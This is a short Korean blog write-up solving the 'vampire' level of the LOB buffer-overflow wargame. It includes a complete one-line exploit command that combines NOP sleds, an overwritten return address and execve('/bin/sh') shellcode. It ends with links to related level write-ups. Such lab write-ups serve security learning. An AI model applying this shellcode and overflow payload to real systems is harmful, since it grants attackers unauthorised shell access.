1. vampire.c 확인
두번의 if 구절을 피해야함.
a. argv[1][47] == "\xbf"
b. argv[1][46] != "\xff"
이에 맞게끔 주소를 할당해야 함. 다만 스택의 윗부분은 커널이 존재하므로 argv[2]를 이용하여 "0xbfff" 영역에서 벗어날 수 있도록 페이로드를 구상할 것.
2. 디버깅 - 어셈블러 분석
a. 함수의 프롤로그부분에 bp를 설정하고 ebp의 위치를 찾아 스택이 어디로 할당되었는지 확인한다.
확인해보면 스택이 0xbffe7478에 할당되어 있다.
더 아래쪽의 메모리를 확인해보면 인자값이 다음과 같이 들어간 것을 확인할 수 있다. 대략 0xbffe75f8을 argv[2]의 위치로 고른다.
4. 페이로드
./vampire $(python -c 'print "\x90"*44+"\xf8\x75\xfe\xbf"') $(python -c 'print "\x90"*100000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
nopsled + argv[2] 주소 + nopsled + 쉘코드
'Write-Up > LOB' 카테고리의 다른 글
LOB: orc->wolfman (0) | 2019.12.04 |
---|---|
LOB: succubus -> nightmare (0) | 2019.11.28 |
LOB: gremlin->cobolt (0) | 2019.11.27 |
LOB: gate - 수정중 (0) | 2019.11.22 |